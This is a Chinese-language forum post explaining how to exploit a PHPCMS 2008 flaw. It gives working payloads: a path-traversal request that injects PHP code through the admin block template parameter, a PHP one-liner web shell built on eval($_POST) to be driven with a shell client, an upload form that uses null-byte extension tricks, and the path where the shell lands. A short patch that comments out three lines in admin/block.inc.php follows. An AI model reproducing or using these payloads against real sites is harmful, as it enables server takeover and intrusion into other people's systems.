前几天在看到了这个漏洞:
看了看作者对这个漏洞进行的分析,本人小菜只是略懂代码看了一看进行了测试,是对phpcms2008的利用吧,大牛看了不要喷
实例网站: 为了使网站不至于变成万人日
## 注册的时候选择企业用户
if(!$company_user_infos)
{
$MS['title'] = '您不是企业会员';
$MS['description'] = '你可以做下面操作';
$MS['urls'][0] = array(
'name'=>'免费升级为企业会员',
'url'=>$PHPCMS['siteurl'].$M['url'].'company.php?action=member',
);
$MS['urls'][1] = array(
'name'=>'退出当前帐号,换其他帐号登陆',
'url'=>$PHPCMS['siteurl'].'member/logout.php',
);
$MS['urls'][2] = array(
'name'=>'重新注册为企业会员',
'url'=>$PHPCMS['siteurl'].'member/logout.php?forward='.urlencode($PHPCMS['siteurl'].'member/register.php'),
);
msg($MS);这段代码写了我们注册的时候要注册的是企业会员,有的网站可以注册免费会员然后可以直接免费升级到企业会员的这也是可以利用的
我们进行一个企业会员的注册 ,然后进行登陆
登录以后使用这个,EXP:
?file=../../admin/block&action=post&blockid=eval&template=<?php phpinfo();exit();?>
这段可以直接看到phpinfo里面的内容,如果可以直接看到这个可以证明存在漏洞,是可以远程包含的
但是经测试这段作者构造的表单在实际运用中没作用
<form id="frmUpload" enctype="multipart/form-data"
action="?file=../../admin/upload&C[upload_allowext]=php|Php%00.|php%00&dosubmit=yes" method="post">
<h1>Upload a new file:</h1>
<input type="file" name="uploadfile" size="50">
<input id="btnUpload" type="submit" value="Upload">
</form>作者说是attachment.class.php里面有黑名单,等等再仔细研究下这个文件吧
可以看到phpinfo里面的内容了,可以包含那我们就直接包含一个一句话上去吧
?file=../../admin/block&action=post&blockid=eval&template=<?php eval($_POST[k]);exit();?>直接点击运行,然后可以用菜刀或者php一句话客户端进行连接就ok了
对了,自己上传shell以后,路径是在yp/business/ 下面的
既然网站存在这个漏洞,涛涛电脑知识网,我们怎么修补呢,涛涛电脑知识网,小菜是这样修补的,经测试是可以的
//file_put_contents($tplfile, $tpldata);
//include $tplfile;
//@unlink($tplfile);这几句代码是在 网站根目录 admin/block.inc.php 这个文件里 把这三句代码注释掉就ok了
最后,求点金币 求基友,求指导
from: